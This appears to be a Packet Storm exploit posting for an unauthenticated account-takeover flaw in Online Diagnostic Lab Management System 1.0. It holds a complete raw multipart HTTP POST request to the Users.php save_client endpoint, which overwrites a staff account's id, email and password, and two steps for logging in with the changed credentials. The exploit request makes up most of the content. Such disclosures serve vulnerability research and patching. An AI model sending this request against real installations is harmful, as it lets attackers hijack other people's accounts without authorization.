what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Online Diagnostic Lab Management System 1.0 Missing Access Control

Online Diagnostic Lab Management System 1.0 Missing Access Control
Posted Jan 13, 2022
Authored by Himash

Online Diagnostic Lab Management System version 1.0 suffers from an account takeover vulnerability.

tags | exploit, bypass
SHA-256 | 8fb255fe4f6dca7bdf67bd7c3822520feadb1c87b5a00b1c36aaadc6d2e79817

Online Diagnostic Lab Management System 1.0 Missing Access Control

Change Mirror Download
#Exploit Title: Online Diagnostic Lab Management System 1.0 - Account Takeover (Unauthenticated)
#Date: 11/01/2022
#Exploit Author: Himash
#Vendor Homepage: https://www.sourcecodester.com/php/15129/online-diagnostic-lab-management-system-php-free-source-code.html
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/odlms.zip
#Version: 1.0
#Tested on: Kali Linux


Online Diagnostic Lab Management System 1.0 is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "email", "password" and "cpass" parameters.

#Steps to Reproduce

1. Send the below POST request by changing "id", "email", "password" and "cpass" parameters.

2. Log in to the user account by changed email and password.

POST /odlms/classes/Users.php?f=save_client HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------218422725412817326673495861673
Content-Length: 1551
Origin: http://localhost
Connection: close
Referer: http://localhost/odlms/?page=user
Cookie: PHPSESSID=b17cc4d8837f564fc77d7b3e49b00d1e
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="id"

2
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="firstname"

Claire
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="middlename"

C
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="lastname"

Blake
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="gender"

Female
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="dob"

1997-10-14
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="contact"

09456789123
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="address"

Sample Address only
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="email"

test@test.com
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="password"

Test@1234
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="cpass"

Test@1234
-----------------------------218422725412817326673495861673
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream


-----------------------------218422725412817326673495861673--

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close